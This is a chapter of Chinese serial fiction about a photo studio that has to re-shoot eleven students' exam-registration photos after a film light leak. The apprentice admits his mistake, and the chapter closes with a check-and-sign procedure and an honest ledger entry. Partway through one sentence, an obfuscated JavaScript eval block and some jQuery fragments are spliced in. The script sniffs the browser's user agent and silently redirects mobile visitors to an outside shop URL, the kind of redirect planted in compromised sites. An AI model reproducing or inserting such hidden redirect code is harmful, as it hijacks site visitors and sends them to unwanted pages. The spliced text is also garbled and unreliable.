学校那批报名照，洗到第三卷胶卷时出了问题。
韩师傅把底片从药水里提出来，举到红灯下看了两秒，脸就沉了。
“谁换的这卷？”
梁潮生正在外间给照片编号，闻声掀开暗房帘子。
“我。”
“后盖扣紧了吗？”
“扣了。”
韩师傅没说话，只把底片递给他。
前面二十多格还算清楚，到了最后一段，画面上蒙着一层灰白。人脸勉强能看见，边缘却像被雾吞了一半。越往后越严重，最后两格只剩模糊的影子。
梁潮生的手停住。
他想起来了。
拍高三一班时，快轮到最后几个人，走廊里已经排起了下一个班。相机卷片不顺，他打开后盖重新理过胶卷。合上时似乎弹了一下，他拍了两下，没再检查。
当时韩师傅正在调灯。
周念安忙着核对姓名。
没人看见。
他自己也以为没事。
韩师傅问：“这卷最后拍了多少人？”
周念安已经拿着登记表过来。
她按照底片编号往下找，很快圈出十一个名字。
吴雪晴、刘卫华、许秀琴、陈斌……
最后一个是梁潮生。
他盯着自己的名字，笑了一下。
“还挺公平。”
韩师傅瞪他：“现在是贫嘴的时候？”
“不是。”
“明早照片就得送学校。十一张重拍、重洗、裁切，今晚都不一定做得完。”
外间桌上已经摞好了几百张一寸照片。
每个人三张，背面用铅笔写着姓名和学号，再按照班级装进牛皮纸袋。前两卷底片全部正常，偏偏临收尾时出了差错。
周念安把那十一个名字单独抄下来。
“现在四点二十。”她说，“先去找人，六点以前回来重拍。今晚洗，明早裁。”
韩师傅看她：“人能找齐吗？”
“找不齐也得找。”
梁潮生接过名单：“我去。”
周念安却没松手。
“先说清楚，怎么坏的？”
屋里安静了一下。
梁潮生看着那卷发白的底片。
“我换胶卷时没扣紧后盖。”
“确定？”
“嗯。”
“不是相机自己坏的？”
“不是。”
韩师傅脸色仍旧不好看，语气却缓了些。
“知道错在哪儿就行。现在别耽误，赶紧找人。”
梁潮生拿过外套往门外走。
周念安把名单分成两半：“这五个住南巷，我去。剩下的归你。”
“你回家太晚，你妈会问。”
“照片明天要用。”
“我一个人能找。”
“你知道许秀琴住哪儿？”
梁潮生看了一眼名单：“不知道。”
“那就别逞能。”
她拿着半张名单出了门。
梁潮生站在原地，低声嘀咕：“我什么时候逞能了？”
韩师傅把底片挂起来：“从你出生就开始了。”
第一个被找回来的是吴雪晴。
她听说要重拍，先问：“为什么？”
梁潮生说：“胶卷漏光。”
“谁弄的？”
“我。”
吴雪晴显然准备了一肚子抱怨，听他直接承认，反而卡住。
过了会儿，她才问：“那我之前那张还能看吗？”
“能看出是个人。”
“梁潮生！”
“所以才让你重拍。”
吴雪晴气冲冲地跟着他往照相馆走，走了一段又停下：“我今天头发没梳好。”
“报名照只负责证明你是你。”
“你上次就这么说！”
“说明这个道理经得起时间考验。”
第二个是陈斌。
梁潮生找到他时，他刚在巷口理完头发。理发师手重，把两边推得过短，他正对着玻璃窗发愁。
听说要重拍，他坚决拒绝。
“我昨天那张头发好好的。”
“昨天那张脸没了。”
“能不能等头发长一点？”
“明早学校交照片。”
陈斌抱着头：“那我高考报名表上要顶着这个发型？”
梁潮生看了两秒：“挺精神。”
“像刚被劳改完！”
“那你戴帽子？”
“证件照不能戴帽子！”
两人在巷口僵持半天，最后梁潮生答应免费送他一张平时的照片，等头发长好再拍，陈斌才捂着脑袋跟过来。
第三个男生去了厂区澡堂。
梁潮生站在门口喊了三声名字，里面没人应。澡堂看门的大爷嫌他吵，指着一排竹筐说：“衣服在，人跑不了，等着。”
他等了十分钟，人还没出来。
最后只能托大爷传话。
大爷进去没多久，澡堂里便响起一声愤怒的喊：
“谁拍报名照还堵澡堂门啊！”
梁潮生靠着墙笑：“照相馆售后服务！”
周念安那边也没轻松多少。
许秀琴正在家里和面，双手全是白面粉；刘卫华陪奶奶去了卫生所；还有一个女生洗了一半头，听说马上重拍，裹着毛巾就要哭。
周念安站在她家门口，等她重新梳好头发，又陪着去卫生所接人。
六点十分，十一人终于到齐。
照相馆里站得满满当当。
有人没吃晚饭，有人还在抱怨，有人拿着书边等边背。陶小满听说缺人手，主动过来登记。周念秋也从百货商店赶来，拿着梳子逐个检查领口和头发。
陈斌刚一坐下，她便盯着他看了半天。
“你这头发……”
陈斌脸色一垮：“很丑是不是？”
周念秋换了个说法：“特别显脸。”
“这不还是丑吗？”
屋里笑成一片。
韩师傅把背景布重新拉平，灯架按照学校拍摄时的位置摆好。为了保证照片差别不大，他连凳子高度都重新量了一遍。
梁潮生站在相机旁，没有再抢着换胶卷。
每拍一个人，他都先报名字和编号。
陶小满复述一遍。
周念安在登记表上打钩。
韩师傅确认后才按快门。
吴雪晴拍完，没有立刻走。
她站到梁潮生旁边，压低声音问：“真是你弄坏的？”
“嗯。”
“韩师傅没骂你？”
“骂了。”
“周念安呢？”
梁潮生朝登记桌看了一眼。
“她没空骂。”
“那你赔钱吗？”
“赔。”
吴雪晴想了想：“你还挺倒霉。”
“谢谢安慰。”
“我没安慰你。”
她说完，拿着书包走了。
轮到最后一人时，陶小满看着名单喊：
“高三一班，梁潮生。”
梁潮生把位置让给韩师傅，自己坐到凳子上。
他今天跑了大半个厂区，头发被风吹得有些乱，袖口还蹭着澡堂门口的白灰。
周念安走到他面前。
“头发。”
梁潮生抬手随便压了两下。
“行了。”
“左边还翘着。”
“报名表不管头发。”
周念安从周念秋那里拿过梳子，递给他。
他接过来，认真梳了两下。
“这次我自己来。”
周念安退回登记桌。
韩师傅在相机后问：“准备好了吗？”
梁潮生坐直，看向镜头。
“好了。”
咔嚓。
没有人笑，也没人说他像要翻窗。
第二张报名照，比第一张更平常。
可梁潮生知道，这张不能再坏。
最后一个人拍完，韩师傅没有立即收相机。
他当着所有人的面检查后盖，确认锁扣，卷片，再让梁潮生检查一次。
“以后每换一卷，至少两个人确认。”
梁潮生点头。
周念安已经在新的工作流程上写下：
装片人签字，复核人签字。
梁潮生看见，问：“还要签字？”
“要。”
“我自己的店也要？”
“越是自己的，越要。”
韩师傅在旁边说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742563|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：“听她的。”
十一个学生陆续离开后，照相馆重新安静下来。
韩师傅进暗房冲洗新胶卷。
梁潮生把今天损坏的胶卷、药水和相纸成本算了一遍，拿出自己修收音机攒下的三块钱，放在柜台上。
周念安抬头：“干什么？”
“赔材料。”
她看了一眼钱，没有收。
“记进账里。”
“我赔不一样？”
“不一样。”
“哪里不一样？”
“你偷偷放三块钱，只是把数字补平了。账本上看不出为什么多用了一卷胶卷，以后还可能再犯。”
周念安翻开账本，写下一行：
高考报名照重拍，因相机后盖未确认造成底片漏光。损耗由梁潮生承担。
梁潮生看完，觉得最后一句很刺眼。
“能不能只写设备操作失误？”
“谁操作的？”
“我。”
“那就写名字。”
“周厂长，给技术人员留点面子。”
“账本不是留面子的地方。”
梁潮生盯着那行字看了很久，最后拿起笔，在旁边签下自己的名字。
“行。”
字依旧不算好看。
但写得很清楚。
周念安这才把三块钱收进铁盒，又另开了一栏：
责任损耗。
梁潮生看她把账记完，忽然问：“你不生气？”
“生气。”
“看不出来。”
“生气也得先把照片补完。”
“现在补完了。”
周念安合上账本：“那你下次记得。”
“就这样？”
“你还想怎样？”
梁潮生靠在椅背上，笑了一声：“我以为你至少要说半个小时。”
“说半个小时，胶卷也不会自己长回来。”
暗房帘子在这时掀开。
韩师傅拿着新冲出的底片走出来，对着灯看了一遍。
“都清楚。”
屋里几个人同时松了口气。
那天晚上，他们一直忙到十点多。
照片晾干、裁切、核对姓名，再按照登记表装袋。每一个名字由陶小满念一次，周念安核一次，梁潮生再检查底片编号。
轮到他自己的照片时，他多看了一眼。
照片里的少年穿着干净衬衫，领口平整，眼睛直直看向前方。没有笑，也没有平时那股满不在乎的劲儿。
像第一次承认，镜头之后确实有一条路。
第二天早晨，所有报名照准时送到学校。
李老师按照名单逐一清点，数到最后，抬头看梁潮生。
“一个没少？”
“一个没少。”
“一个没错？”
周念安说：“复核过三遍。”
李老师点头，在交接单上签了字。
梁潮生接过单子，也在下方签名。
他写到一半，忽然问：“老师，报名表什么时候正式送走？”
“月底统一送。”
“那我的也在？”
“在。”
李老师从文件夹里抽出高三一班名单。
原来后补的那一行已经重新誊进正式表格，夹在其他名字中间，看不出任何临时增加的痕迹。
梁潮生。
照片编号、一寸黑白三张、材料齐全。
他把名单还回去。
“行。”
回到红叶照相馆时，门口站着一位头发花白的老太太。
她手里捧着一只旧铁盒，铁盒边缘已经生锈。看见韩师傅开门，她从里面取出一张裂成两半的黑白照片。
“韩师傅。”她问，“这个还能补吗？”
照片上是一对年轻夫妻。
男人穿着旧军装，女人梳着两条辫子。裂痕正好穿过男人的脸，右半边已经缺了一角。
老太太用手指轻轻按住那道裂缝。
“人没了很多年。”她说，“这也是家里唯一一张。”
韩师傅接过照片，没有马上回答。
梁潮生站在旁边，脸上的轻松慢慢收起。
有些照片拍坏了，还能把人叫回来重拍。
有些照片不行。